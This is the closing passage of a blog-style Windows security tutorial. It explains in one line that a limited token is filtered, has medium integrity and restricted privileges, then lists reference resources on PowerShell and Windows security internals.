    - The limited token has restricted privileges, a medium integrity level, and is marked as 'IsFiltered', indicating it has been filtered to remove higher privileges.

Resources

- Windows Security Internals with PowerShell by James Forshaw
- https://github.com/shakenetwork/PowerShell-Suite

Rating: ★★★★½

17 Nov 2023

tutorial

#blue #red

« Top C&C Methods(RTC0023)

comments powered by Disqus

Explore

tutorial (29) news (1) recipe (3)